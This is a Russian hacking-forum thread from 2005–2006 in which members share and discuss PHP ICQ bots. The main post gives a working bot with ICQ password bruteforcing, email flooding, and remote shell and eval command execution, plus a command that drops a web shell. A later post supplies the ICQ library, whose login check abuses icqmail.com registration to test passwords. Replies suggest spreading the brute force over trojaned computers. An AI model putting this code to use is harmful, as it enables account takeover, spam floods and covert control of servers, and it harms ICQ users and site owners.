icq бот

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by +toxa+, 12 Jun 2005.

  1. К.е.Н

    К.е.Н Дитё-Инвалид

    Joined:
    5 Jul 2005
    Messages:
    104
    Likes Received:
    3
    Reputations:
    2
    Да я знаю только один язык это пхп и это не в совершенстве
     
  2. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Сильно недоделаный, но всеже более менее рабочий скрипт... Предполагалось что там будет брут и т д... Брут получился очеень медленным и фиговым.
    Ну бот всеравно работает.

    PHP:
    <?php


    ##############################
    #                            #
    #                            #
    #         (C) KEZ            #
    #      [email protected]       #
    #           2005             #
    #                            #
    ##############################
    #                            #
    # http://antichat.ru         #
    # http://video.antichat.net  #
    # http://video.antichat.ru   #
    #                            #
    ##############################
    #                            #
    # --functions--              #
    # Email send, email flood,   #
    # icq send, icq flood,       #
    # *ICQ BRUTEFORCE*,          #
    # Unix\Windows shell,        #
    # view PHP environment       #
    # vars, generating list for  #
    # ICQ bruteforce             #
    #                            #
    ##############################
    #                            #
    # This PHP script            #
    # includes edited by me      #
    # c99phpicq.php              #
    # library by CCTeam          #
    #                            #
    # http://ccteam.ru/          #
    # http://ccteam.ru/files     #
    #         /c99phpicq.php.txt #
    #                            #
    ##############################


    ##########################################################
    #######!              c99phpicq.php              !########
    ##########################################################
    // влючите сюда c99phpicq.php с http://ccteam.nukleon.us
    ###############################################################
    #################!   END OF c99phpicq.php    !#################
    ###############################################################

    # redirect to / (index)
    # if 0, do not redirect to index, else redirect
    # (for WEB browsers)
    $Force_Redirect 0;
    if (
    $Force_Redirectheader"Location: /" );

    # lib allready included in top of file
    #include("c99phpicq.php");
    #

    # no script execution limit, 0
    set_time_limit);

    # you cat control this bot from this UINs:

    #$AdminUins = array ( "353303", "446378" );
    $AdminUins = array (  "353303" );

    # ICQ Account for bot
    $BotUin  "66680094";
    $BotPass "kJuIk7w";

    # default values
    $AboutString       "bot_by_kez_<[email protected]>";

    # environment text string, do not change
    $env_var env();

    # 1 = now b#ruting, 0 = NOT bruting
    $bruting 0;

    # counter for good ICQ accounts (bruted) in good file
    $good_count 0;
    # counter for all ICQ accounts
    $all_count  0;
     
    # if 1, messages from ALL users will be displayed, if 0,
    # only cmd's from admins
    $ShowGuestMessages 1;

    # time for sleep() over mail() flooding, in seconds
    $sleeptime 1// 1 second

    function Log_print$str )
    {
      return 
    true;
    }

    # time
    $StartTime 0;
    $StopTime 0;

    $enablelog 0;

    # /$php_self?startbrute ...
    if (isset($HTTP_GET_VARS["startbrute"]))
    {
       if (!isset(
    $HTTP_GET_VARS["listfile"])) exit;
       if (!isset(
    $HTTP_GET_VARS["goodfile"])) exit;
       if (!isset(
    $HTTP_GET_VARS["stopfile"])) exit;
       if (isset(
    $HTTP_GET_VARS["logfile"]))
       {
         
    $logfile  $HTTP_GET_VARS["logfile"];
         
    $f_log fopen$logfile"w" );
         
    $enablelog 1;
       }
       
       
    $listfile $HTTP_GET_VARS["listfile"];
       
    $goodfile $HTTP_GET_VARS["goodfile"];
       
    $stopfile $HTTP_GET_VARS["stopfile"];

       
    $icq = new ICQ0);

       
    $f  fopen$listfile"r" );
       
    $f2 fopen$goodfile"w" );
       
       if (
    $enablelogfputs$f_log"*start*\r\nlistfile=$listfile goodfile=$goodfile stopfile=$stopfile\r\n" );
       
    $StartTime time();
      
       while (
    $l fgets$f50 )) :
         list( 
    $uin$password ) = explode";"$l );
         
    $password str_replace"\r\n"""$password );
         
    $r $icq->http_checklogin$uin$password );
         if (
    $r == 1)
         {
           
    fputs$f2$uin.";".$password."\r\n" );
           
    # increment the good uins count
           
    $good_count++;
         }
         
    $all_count++;
         
    # check for STOP file, if exists then break <while> cycle
         
    if (file_exists$stopfile ))
         {
           if (
    $enablelogfputs$f_log"\r\n*used stopfile*" );
           
    unlink$stopfile );
           break;
         }
       endwhile;

       
    # close list and good files
       
    fclose$f );
       
    fclose$f2 );
       
       
    # printing results and halting
       
    $StopTime time();
       
    $TotalTime $StopTime $StartTime;
       if (
    $enablelogfputs$f_log"\r\n*stop*\r\nGOOD=$good_count ALL=$all_count\r\nTime: ".$TotalTime );
       
       exit;
    }

    ###############################################################
    print "Starting BOT ...\n";
    print 
    "Bot UIN: ".$BotUin.", Bot password: ".$BotPass."\n";
    print 
    "Admins: ";
    foreach (
    $AdminUins as $AU)
    {
       print 
    $AU." ";
    }
    print 
    "\n";

    $icq = new ICQ$BotUin$BotPass );
    @
    $icq->connect() || die( "Couldnot connect - @\$icq->connect() failed\n" );
    @
    $icq->login() || die( "Couldnot login - @\$icq->login() failed\n" );

    # force_shutdown
    function force_shutdown()
    {
       GLOBAL 
    $icq;
      
       
    $icq->disconnect();
       exit;
    }

    # help
    function help()
    {
        GLOBAL 
    $AboutString;
        
        
    $result "\nCommands:\n";
        
    $result .= "-----------\n";
        
    $result .= "shutdown - fully switch off the PHP script process\n";
        
    $result .= "env - view PHP environment varibles\n";
        
    $result .= "stats - view statistics\n";
        
    $result .= "help - this help\n";
        
    $result .= "email <to>|<subject>|<text> - send email message\n";
        
    $result .= "emailflood <to>|<subject>|<text>|<count> - flood email, send <count> messages\n";
        
    $result .= "genlist <file> <from_number> <to_number> <pass> <mode> - generate brute list <file> from <from_number> to <to_number> with password <pass>, <mode>:\"w\" for new file, \"a\" for append to file\n";
        
    $result .= "set <varible> <value> - setup options, see help\n";
        
    $result .= "! <command> - shell command in exec()\n";
        
    $result .= "@ <command> - php code in eval()\n";
        
    $result .= "# <command> - shell command in system, do not return results from console\n";
        
    $result .= "icq <to_uin>|<msg> - send \"<msg>\" to <to_uin>\n";
        
    $result .= "icqflood <to_uin>|<msg>|<count> - flood icq, send <count> messages, THIS FUNCTION NOT IMPLEMENTATED!\n";
        
    $result .= "-----------\n";
        
    $result .= "<varible>'s for <set> :\n";
        
    $result .= "str_about - set about string, as copyright\n";
        
    $result .= "logfile - set the log file (logging bad implementated)\n";
        
    $result .= "sleeptime - set time for sleep(), over mail() flood\n";
        
    $result .= "log - logging?\n";
        
    $result .= "showguest - show and log guest, messages from NON-ADMINS\n";
        
    $result .= "-----------\n";
        
    $result .= "ABOUT :\n";
        
    $result .= $AboutString;

        return 
    $result;
    }

    function 
    stats()
    {
        
    # globals...
        
    GLOBAL       $BotUin;
        GLOBAL       
    $BotPass;
        GLOBAL       
    $AdminUins;
        GLOBAL       
    $ShowGuestMessages;
        
        
    $result "\nSTATISTICS:\n";
        
    $result .= "___________\n";
        
    $result .= "Bot ICQ account information:\n";
        
    $result .= "UIN:".$BotUin.", Password:".$BotPass."\n";
        
    $result .= "Admins:\n";
        
    $i 1;
        foreach (
    $AdminUins as $AU)
        {
          
    $result .= $i.") ".$AU."\n";
          
    $i++;
        }
        
    $result .= "\n";
        
    $result .= "\$ShowGuestMessages=".$ShowGuestMessages."\n";
        
    $result .= "Use <env> command for PHP environment listing\n";
        
    $result .= "Coded by KEZ -- [email protected]";
                               
        return 
    $result;
    }

    function 
    env()
    {
        
    $result "\nENVIRONMENT:\n";
        while (list(
    $var,$value) = each($_SERVER)) :
            
    $result .= $var." = ".$value."\n";
        endwhile;
        return 
    $result;
    }

    # Process_Command
    function Process_Command$cmd )
    {
        GLOBAL 
    $env_var;
        GLOBAL 
    $GoodListFileName;
        GLOBAL 
    $AboutString;
        GLOBAL 
    $icq;
        GLOBAL 
    $file2_b64;
        GLOBAL 
    $StartTime;
        GLOBAL 
    $sleeptime;
        GLOBAL 
    $ShowGuestMessages;
       
        
    $result ""

        
    $cmdarr split" "$cmd );

        switch (
    $cmdarr[0]) :

          case 
    "shutdown" :
            
    Log_print"cmd:shutdown\r\n" );
            
    force_shutdown();        
            break;

          case 
    "env" :
            
    Log_print"cmd:env\r\n" );
            
    $result $env_var;
            break;
          
          case 
    "stats" :
            
    Log_print"cmd:stats\r\n" );
            
    $result stats();
            break;

          case 
    "help" :
            
    Log_print"cmd:help\r\n" );
            
    $result help();
            break;

          case 
    "email" :
            
    Log_print"cmd:email\r\n" );
            
    $emaildata split"\|"$cmd );
            
    $emailto split" "$emaildata[0] );
            
    $result "Message emailed for ".$emailto[1];
            @
    mail$emailto[1], $emaildata[1], $emaildata[2] ) || $result "Error in @mail()";

            break;

          case 
    "emailflood" :
            
    Log_print"cmd:emailflood\r\n" );
            
    $emaildata split"\|"$cmd );
            
    $emailto split" "$emaildata[0] );
            
    $count $emaildata[3];       

            
    $result "Flood emailed to ".$emailto[1].", ".$count." messages";
            for (
    $i 1$i <= $count$i += ):
              
    sleep$sleeptime );
              @
    mail$emailto[1], $emaildata[1], $emaildata[2] ) || $result "Error in @mail()";
            endfor;

            break;

          case 
    "@" :
            
    Log_print"cmd:@\r\n" );
            
    $_cmd substr$cmd);
            eval( 
    $_cmd );
            break;

          case 
    "genlist" :
            
    Log_print"cmd:genlist\r\n" );

            
    $fname $cmdarr[1];
            
    $min   $cmdarr[2];
            
    $max   $cmdarr[3];
            
    $pass  $cmdarr[4];
            
    $mode  $cmdarr[5];

            switch (
    $mode) :
              case 
    "a" :
                
    $f fopen$fname"a" );
                break;
       
              case 
    "w" :
                
    $f fopen$fname"w" );
                break;

              default:        
              {
                
    $result "Unknow mode (4) - use a (append to file) or w (new file)";
                break;
              }
            endswitch;

            for (
    $i $min$i <= $max$i += 1):
            
    fputs$f$i.";".$pass."\r\n" );
            endfor;
            
    fclose$f );

            
    $result "List \"".$fname."\" rewrited/appended with UINs ".$min." to ".$max." with pass ".$pass.", mode is ".$mode;
          break;

          case 
    "set" :
            
    Log_print"cmd:set\r\n" );
            if (
    $cmdarr[1] == "str_about" )
            {
              
    $AboutString $cmdarr[2];
              
    $result "\$AboutString changed to ".$AboutString;
              break;
            }

            if (
    $cmdarr[1] == "showguest")
            {
              if (
    $cmdarr[2] == "on"$ShowGuestMessages 1;
              if (
    $cmdarr[2] == "off"$ShowGuestMessages 0;
              
              
    $result "Guest messages ".$ShowGuestMessages;
              break;
            }
             
            if (
    $cmdarr[1] == "sleeptime")
            {
              
    $sleeptime $cmdarr[2];
              
    $result "\$sleeptime changed to ".$sleeptime;
              break;
            }
            else
            {
              
    $result "<set>: unknow parameter specified";
              break;
            }

          case 
    "!" :
            
    Log_print"cmd:!\r\n" );
            
    $_cmd substr$cmd);
            
    exec$_cmd$execstrarray );
            for (
    $i=0$i count($execstrarray); $i++) :
              
    $result .= "\n".$execstrarray[$i];
            endfor;
            break;
            
          case 
    "#" :
            
    Log_print"cmd:#\r\n" );
            
    $_cmd substr$cmd);
            
    system$_cmd );
            break;
          
            
          case 
    "icq" :
            
    Log_print"cmd:icq\r\n" );

            
    $icqdata split"\|"$cmd );        
            
    $icqto split" "$icqdata[0] );
            
    $icq->message_send$icqto[1], $icqdata[1] ); 
            
    $result "\$icq->message_send() OK";
            break;
          
          case 
    "icqflood" :
            
    Log_print"cmd:icqflood\r\n" );
            
    $result "ICQ Flooder NOT IMPLEMENTATED";
            break;
            
          case 
    "spawnshell" :
            
    # spawn a little PHP shell
            
    Log_print"cmd:spawnshell\n" );
            
    #        if (!is_writable( $cmdarr[1]))
    #        {
    #          $result = "Couldnot create file - permission denied";
    #          break;
    #        }
            
            
    $shf fopen$cmdarr[1], "w" );
            
    fputs$shf"<?\r\n" );
            
    fputs$shf"print \"<PRE>\";\r\n" );
            
    fputs$shf"system( \$_GET[\"cmd\"] );\r\n" );
            
    fputs$shf"print \"</PRE>\";\r\n" );
            
    fputs$shf"?>" );
            
    fclose$shf );
            
            
    $result "Little PHP shell created. Use: ".$cmdarr[1]."?cmd=ls -la";
            break;

          case 
    "spawn2php" :
            
    Log_print"cmd:spawn2php\r\n" );

            
    $f_php2 fopen$cmdarr[1], "w" );
            
    fwrite$f_php2base64_decode$file2_b64 ) );
            
    fclose$f_php2 );
            
            
    $result "2.php created. use this script for brute";        
            break;
            
          case 
    "spawnremview" :
            
    # spawn a little PHP shell
            
    Log_print"cmd:spawnremview\r\n" );;
            
            
    $result "This script dont support base64 remview source. Only <spawnshell> command";
            break;

    #        $shf = fopen( $cmdarr[1], "w" );
    #        fwrite( $shf, base64_decode( $remview_b64 ) );
    #        fclose( $shf );
            
    #        $result = "REMVIEW.PHP created";
    #        break;
          
          
    default:
            
    $result "Unknow command, use <help> for list";

        endswitch;
         
        return 
    $result;
    }

    foreach (
    $AdminUins as $AU)
    {
       
    $icq->message_send$AU"Bot'up!" );
    }

    ################################
    # main cycle                   #
    # socket read                  #
    ################################

    while ($icq->socket)
    {
     
    $icq->listen();

     if (isset(
    $icq->mess["channel"]))
     {
         if (
    in_array($icq->mess["uin"], $AdminUins ))
         
    $icq->message_send$icq->mess["uin"], Process_Command$icq->mess["text"] ) );
         else
         {
            if (
    $ShowGuestMessages == 1)
            {
              
    Log_print"FROM ".$icq->mess["uin"]." : ".$icq->mess["text"]."\r\n" );
              foreach (
    $AdminUins as $AU)
              {
                
    $icq->message_send$AU"FROM ".$icq->mess["uin"]." : ".$icq->mess["text"] );
              }
           }
         }
     }
    }

    #
    # $people = "people";
    # $shit   = "shit";
    #
    # $people = $shit;
    #

    ?>
     
  3. -=ToYs=-

    -=ToYs=- New Member

    Joined:
    23 Jul 2005
    Messages:
    48
    Likes Received:
    0
    Reputations:
    0
    подправь его немног, а то кривоват. Только не злись на мои слова :)
     
  4. w00d

    w00d [ The Godfather ]

    Joined:
    30 Jun 2005
    Messages:
    172
    Likes Received:
    22
    Reputations:
    4
    2-=ToYs=-:
    Что криво и что править?
     
  5. inSa(Ne)rd

    inSa(Ne)rd В Стране Чудес

    Joined:
    14 Mar 2005
    Messages:
    240
    Likes Received:
    1,370
    Reputations:
    168
    Ухаха ))
    Кез, а обязательно надо было пароль от аськи бота писать тут? )
     
  6. -=ToYs=-

    -=ToYs=- New Member

    Joined:
    23 Jul 2005
    Messages:
    48
    Likes Received:
    0
    Reputations:
    0
    Лучше сделать, чтобы скрипт распределял подбор и раскидывал это на всевозможные (протрояненные) компы
     
  7. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Те нада ты и делай...Вон для вас ведь была написана библиотека...
     
  8. -=ToYs=-

    -=ToYs=- New Member

    Joined:
    23 Jul 2005
    Messages:
    48
    Likes Received:
    0
    Reputations:
    0
    Так меня спросили, я ответил
     
  9. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Это видимо у меня было лирическое отступление...

    Что бы скрипт раскидывал??
     
  10. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Типа он хотел сказать что бы бот был еще и сервером распределенного перебора...
    ИМХО не нужно...А вот кофе что бы он варил в самый раз.
     
  11. Ded.MCz

    Ded.MCz Member

    Joined:
    16 Jan 2006
    Messages:
    18
    Likes Received:
    19
    Reputations:
    36
    Привет амигос! НУЖЕН ICQ-БОТ, вот такого типа:
    пишеш в асе на номер 744444:
    !help
    а он отвечает:
    Available Commands:
    !help - display this information;
    !start <sn/uin> - start a new session with buddy;
    !end - close session with buddy;
    !admin <password> - enter administration mode.

    ну вот тут в хелпе ясно всё...
    пишеш !start 108117
    и ты будеш говорить со мной, через этот номер...
    я так прикалывался над друзьями))
    Так вот теперь хочу своих ботов наставить... =)
    Это что-то типа прокси)) не светит твой клиент, твой IP, и твой настоящий номер =)
    Имхо a}{YEнн@я штука...
     
  12. NaX[no]rT

    NaX[no]rT Members of Antichat

    Joined:
    3 Sep 2005
    Messages:
    489
    Likes Received:
    201
    Reputations:
    202
    Недавно от этого номера пишут, "Не хочешь купить номерок? Всего 100$ продашь за 500$ ... бери по дешевке."
    А только сейчас понял, что это бот =)
     
    _________________________
  13. almaz

    almaz Elder - Старейшина

    Joined:
    4 Sep 2005
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0


    Пожалуйста если можно по подробней как это установить у себя на хостинге,пробовал протестить у себя на денвере не получилось...
     
  14. almaz

    almaz Elder - Старейшина

    Joined:
    4 Sep 2005
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    И тишина в ответ...
     
  15. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Знакомо, я сам через бота говорил. Тебе именно на ПХП нужен, или можно в виде EXE/ELF
    для Windows/Unix ?
    Так то есть всякие ICQKID исходники если вручную писать лень или протокол изучать.
     
  16. almaz

    almaz Elder - Старейшина

    Joined:
    4 Sep 2005
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    Интересны готовые php скрипты icq bota или web icq типа как на http://911.ru/ можно и wap icq...
     
    #36 almaz, 18 Feb 2006
    Last edited: 18 Feb 2006
  17. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    По порядку.
    Это c99phpicq.php

    Code:
    <?php
    ##########################################################
    #######!              c99phpicq.php              !########
    ##########################################################
    class ICQ
    {
     var $socket,$server,$port,$connected,
    	 $uin,$pass,$logged,
    	 $dbgstream,$errorstream,$lasterror;
     var $TLV = array();
     var $TLV_dstb = array();
     var $FLAP = array();
     var $mess = array();
     var $memory = array();
     var $events = array();
     var $settings = array();
     function ICQ($uin,$pass,$server="login.icq.com",$port=5190)
     {
      $this->events = array(
       "onunwanteddisconnect" => "\$this->connect();",
       "onmessagerecv" => null
      );
      $this->settings = array(
       "client" => array(
        "name" => "1",
        "country" => "ru",
        "language" => "ru",
        "build" => 1,
        "id" => 234,
        "major" => 0,
        "minor" => 2,
        "lesser" => 1
       )
      );
    #  $this->dbgstream = fopen("dbgstream.out","wb");
      //$this->dbgstream = fsockopen(127.0.0.1,5191);
    #  $this->errorstream = fopen("errorstream.out","wb");
      //$this->errorstream = fsockopen(127.0.0.1,5192);
      $this->server = $server;
      $this->port = $port;
      $this->uin = $uin;
      $this->pass = $pass;  
     }
     function connect($server="",$port="")
     {
      if (!empty($server)) {$this->server = $server;}
      if (!empty($port)) {$this->port = $port;}
      $this->socket = @fsockopen($this->server,$this->port,$errno,$errstr,3);
      if (!$this->socket) {$this->_error("connect","connection to ".$this->server.":".$this->port." has failed: ".$errno." - ".$errstr,__FILE__,__LINE__); return false;}
      else {$this->connected = true; return true;}
     }
     function _connect_migration($server,$port)
     {
      $this->socket = @fsockopen($server,$port,$errno,$errstr,3);
      if (!$this->socket) {$this->_error("connect_migration","migration to ".$server.":".$port." has failed: ".$errno." - ".$errstr,__FILE__,__LINE__); return false;}
      else {$this->connected = true; return true;}
     }
     function connect_pass()
     {
      if ($this->connected)
      {
       if ($this->socket) {return true;}
       else
       {
        eval($this->events["onunwanteddisconnect"]);
        return is_resource($this->socket);
       }
      }
      else {return false;}
     }
     function login_pass() {$this->connect_pass(); return $this->socket and $this->logged;}
     function login($uin="",$pass="")
     {
      if ($uin) {$this->uin = $uin;}
      if ($pass !== "") {$this->pass = $pass;}
      $this->TLV[1] = $this->uin;
      $this->TLV[2] = xorpass($this->pass);
      $this->TLV[3] = substr($this->settings["client"]["name"],0,20);
      $this->TLV[14] = $this->settings["client"]["country"];
      $this->TLV[15] = $this->settings["client"]["language"];
      $this->TLV[20] = 85;
      $this->TLV_dstb[20] = 4;
      $this->TLV[22] = $this->settings["client"]["id"];
      $this->TLV_dstb[22] = 2;
      $this->TLV[23] = $this->settings["client"]["major"];
      $this->TLV_dstb[23] = 2;
      $this->TLV[24] = $this->settings["client"]["minor"];
      $this->TLV_dstb[24] = 2;
      $this->TLV[25] = $this->settings["client"]["lesser"];
      $this->TLV_dstb[25] = 2;
      $this->TLV[26] = $this->settings["client"]["build"];
      $this->TLV_dstb[26] = 2;
      $this->connect_pass();
      if (!$this->socket) {return false;}
      else
      {
       $this->FLAP["outsid"] = rand(0x0001,0x8000);
       $this->FLAP_recv();
       $this->FLAP_send("CMD_LOGIN");
       $cook = $this->FLAP_recv();
       if ($this->FLAP["type"] == 4) {$this->TLV_recv($cook);}
       if (isset($this->TLV[5]) && isset($this->TLV[6]))
       {
        $address = explode(":", $this->TLV[5]);
        $this->_connect_migration($address[0],$address[1]);
        if (!$this->socket) {return false;}
        else
        {
         $this->FLAP_recv();
         $this->FLAP_send("CMD_COOKIE");
         $this->FLAP_recv();
         $this->FLAP_send("CMD_READY");
         //$this->TLV = array();
         $this->logged = true;
         return true;
        }
       }
       else {$this->_error("login","authorization failed: too fast",__FILE__,__LINE__); return false;}
      }
     }
     function message_send($uin,$message)
     {
      $this->login_pass();
      if ($this->logged and $this->is_uin($uin))
      {
       $this->FLAP["touin"] = $uin;
       $this->FLAP["outdata"] = $message;
       $this->FLAP_send("CMD_MESSAGE");
       //sleep(10);
       return true;
      }
      else {return false;}
     }
     function listen()
     {
      unset($this->mess);
      $arr = $this->FLAP_recv();
      if ($arr !== 0)
      {
       if ($this->FLAP["type"] == 2) {$this->SNAC_recv($arr);} 
       if (isset($this->mess["channel"]))
       {
        if ($this->mess["channel"] == 1) {$this->mess["text"] = $this->_message_recv1($this->TLV[2]);}
        if ($this->mess["channel"] == 2) {$this->mess["text"] = $this->_message_recv2($this->TLV[5]);}
        eval($this->events["onmessagerecv"]);
        return true;
       }
       else {return false;} 
       return true;
       //unset($this->TLV); 
      }
      else {return false;}
     }
     function FLAP_recv()
     {
      $Fh = @fread($this->socket,6);
      if (strlen($Fh) == 6)
      { 
       $this->_dbg("FLAP_recv","inhead:".$Fh);
       if (ord($Fh{0}) !== 0x2A) {$this->_error("FLAP_recv","ICQ protocol sync error",__FILE__,__LINE__); return false;}
       $this->FLAP["type"] = ord($Fh[1]);
       $Fsid = ord($Fh{3})+(ord($Fh[2])<<8);
       //$Fsid = (int)(ord($Fh{2}).ord($Fh{3}));
       if (!isset($this->FLAP["insid"])) {$this->FLAP["insid"] = $Fsid;}
       if ($Fsid != $this->FLAP["insid"])
       {
         $this->_error("FLAP_recv","ICQ protocol sync error my sid ".$Fsid." != ".$this->FLAP["insid"],__FILE__,__LINE__);
         return false;
       }
       else
       {
        $this->FLAP["insid"]++;
        if ($this->FLAP["insid"] == 0x8000) {$this->FLAP["insid"] = 0x0000;}
       }
       $Fds = ord($Fh{5})+(ord($Fh{4})<<8);
       //$Fds = (int)(ord($Fh{4}).ord($Fh{5}));
       $data = fread($this->socket,$Fds);
       if ($this->FLAP["type"] == 4) {fclose($this->socket); unset($this->FLAP["insid"]);}
       $this->_dbg("FLAP_recv","|-|".$data);
       return $data;
      }
      else {return false;}
     }
     function FLAP_send($type,$SNAC=false)
     {
      if (!$SNAC) {$SNAC = $this->SNAC_send($type);}
      if (!$SNAC) {return false;}
      else
      {
       list($channel,$SNAC) = $SNAC;
       $FLAP = i2b(1,0x2A).i2b(1,$channel).i2b(2,$this->FLAP["outsid"]).i2b(2,strlen($SNAC));
       $data = $FLAP.$SNAC;
       $this->_dbg("FLAP_send","send type ".$type.", channel ".$channel.": |||".$FLAP."|-|".$SNAC."|||");
       fwrite($this->socket,$data);
       $this->FLAP["outsid"]++;
      }
     }
     function TLV_send($arr)
     {
      if (!is_array($arr)) {$arr = func_get_args();}
      $out = "";
      foreach($arr as $i)
      {
       $out .= i2b(2,$i);
       if (isset($this->TLV_dstb[$i])) {$size = $this->TLV_dstb[$i];}
       else {$size = strlen($this->TLV[$i]);}
       $out .= i2b(2,$size);
       if (is_int($this->TLV[$i])) {$out .= i2b($size,$this->TLV[$i]);}
       else {$out .= $this->TLV[$i];}
      }
      return $out;
     }
     function TLV_recv($str="")
     {
      $out = array();
      while ($str != "")
      {
       $i = ord($str[1])+(ord($str[0])<<8);
       $out[] = $i;
       $size = ord($str[3])+(ord($str[2])<<8);
       $sizes[] = $size;
       $this->TLV[$i] = substr($str,4,$size);
       $str = substr($str,4+$size);
      }
      return $out;
     }
     function SNAC_send($type)
     {
      $channel = 2;
      if ($type == "CMD_LOGIN") {$data = i2b(4,1).$this->TLV_send(1,2,3,22,23,24,25,26,20,15,14); $channel = 1;}
      elseif ($type == "CMD_COOKIE") {$data = i2b(4,1).$this->TLV_send(6); $this->TLV[6] = ""; $channel = 1;}
      elseif ($type == "CMD_READY")
      {
       $data = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10".
    	   "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10". 
               "\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10". 
               "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10". 
               "\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
      }
      elseif ($type == "CMD_MESSAGE")
      {
       $this->TLV[2] =
        i2b(4,0x05010001).i2b(3,0x010101).
        i2b(2,strlen($this->FLAP["outdata"])+4).i2b(4,0).
        $this->FLAP["outdata"];
       $data =
        i2b(2,4).i2b(2,6).			i2b(2,0).i2b(4,6).
        i2b(8,time()).i2b(2,1).  	i2b(1,strlen($this->FLAP["touin"])).
        $this->FLAP["touin"].		$this->TLV_send(2,6);
      }
      else {$this->_error("SNAC_send() error: unknown/unsupported SNAC-type (".$type.")."); return false;}
      return array($channel,$data);
      $this->_dbg("SNAC_send","type ".$type.", channel ".$channel.": ".$data);
     }
     function SNAC_recv($str)
     {
      $result = null;
      $family = ord($str[1])+(ord($str[0])<<8);
      $subfamily = ord($str[3])+(ord($str[2])<<8);
      if ($family == 4)
      {
       if ($subfamily == 7)
       {
        $this->mess["mid"] = substr($str,10,8);
        $this->mess["channel"] = ord(substr($str,19,1));
        $uin_size = ord(substr($str,20,1));
        $this->mess["uin"] = substr($str,21,$uin_size);
        $str = substr($str,25+$uin_size);
        $this->TLV_recv($str);
        $result = true;
       }
      }
      if ($result === null) {$this->_error("SNAC_recv","unknown/unsupported SNAC ".$family."-".$subfamily.".",__FILE__,__LINE__); return false;}
      elseif ($result === false) {$this->_error("SNAC_recv","processing ".$family."-".$subfamily." failed: ".$err.".",__FILE__,__LINE__); return false;}
      else {return true;}
     }
     function _message_recv1($str)
     {
      $s1 = ord($str{3})+(ord($str{2})<<8);
      $s = substr($str,6+$s1,2);
      $s2 = ord($s[1])+(ord($s[0])<<8);
      $text = substr($str,12+$s1,$s2+4);
      return $text;
     }
     function _message_recv2($str)
     {
      $s1 = substr($str,2,2);
      $s2 = substr($str,6+$s1,2);
      return substr($str,8+$s1,$s2);
     }
     function _dbg($procedure,$info,$file="unknown",$line="unknown")
     {
    #  $string = $procedure."() info: ".$info." in file ".$file." at line ".$line.".";
    #  if (is_resource($this->dbgstream)) {fwrite($this->dbgstream,$string."\n"); return true;}
    #  else {return false;}
      return true;
     }
     function _error($procedure,$error,$file="unknown",$line="unknown")
     {
    #  $string = $procedure."() error: ".$error." in file ".$file." at line ".$line.".";
    #  $this->lasterror = $string;
    #  if (is_resource($this->errorstream)) {fwrite($this->errorstream,$string."\n"); return true;}
    #  else {return false;}
      return true;
     }
     function lasterror() {return $this->lasterror;}
     function is_uin($uin) {$uin = $this->defake($uin); return is_numeric($uin) and strlen($uin) >= 1 and strlen($uin) <= 9;}
     function defake($uin) {while ($uin - 4294967296 > 0) {$uin -= 4294967296;} return $uin;}
     function disconnect() {$this->connected = $this->logged = false; return fclose($this->socket);}
     function http_checklogin($uin,$password)
     {
      $http = @fsockopen("www.icqmail.com",80,$errno,$errstr,1);
      if ($http)
      {
       $post ="user=admin&AltID=".$uin."&pwd=".urlencode($password)."&repwd=".urlencode($password)."&firstname=&lastname=&tosagree=&action=register&xo=RU";
       fwrite($http,"POST http://www.icqmail.com/s/icq/reg_icq.asp HTTP/1.1\n". 
    			"Host: www.icqmail.com\n".
    			"Connection: close\n".
    			"TE: deflate, gzip, chunked, identity, trailers\n".
    			"Content-Type: application/x-www-form-urlencoded\n".
    			"Content-Length: ".strlen($post)."\n".
    			"\n".$post."\n");
      while (!feof($http) and $line = fgets($http)) {if (strpos($line,"someone has already chosen")) {return 1; break;} elseif (strpos($line,"Password do not match")) {return 0; break;}}
      return false;
     }
     else {$this->_error("http_checklogin","connection to www.icqmail.com:80 has failed",__FILE__,__LINE__);}
    }
    }
    function int2bits($bits,$val=0) {$ret = ""; for ($i=0; $i<$bits; $i++) {$ret = chr(($val >> ($i*8) & 0xFF)).$ret;} return $ret;}
    function i2b($bits,$val=0) {return int2bits($bits,$val);}
    function bits2int($hex=0)
    {
     $dec = 0;
     $bitval = 1; 
     for($pos = 1; $pos <= strlen($hex); $pos++) {$dec += hexdec(substr($hex, -$pos, 1)) * $bitval; $bitval *= 16;} 
     return $dec;
    }
    function b2i($hex=0) {return bits2int($hex);}
    function xorpass($pass)
    {
     $roast = array(0xF3,0x26,0x81,0xC4,0x39,0x86,0xDB,0x92 /*,0x71,0xA3,0xB9,0xE6,0x53,0x7A,0x95,0x7c*/);
     $xored = "";
     for ($i=0; $i<strlen($pass); $i++) {$xored .= chr($roast[$i] ^ ord($pass{$i}));}
     return $xored;
    }
    ###############################################################
    #################!   END OF c99phpicq.php    !#################
    ###############################################################
    ?>
    
    А это example.php
    Code:
    <?php
    $BotUin = "232323";
    $BotPass = "6(sic)6";
    
    include( "c99phpicq.php" );
    
    $icq = new ICQ( $BotUin, $BotPass );
    @$icq->connect() || die( "Couldnot connect - @\$icq->connect() failed\n" );
    @$icq->login() || die( "Couldnot login - @\$icq->login() failed\n" );
    
    $icq->message_send( "898989", "Fuck me" ); 
    
    ?>
    
    попробуй. если все ок, напишу тебе как сделать из этого бота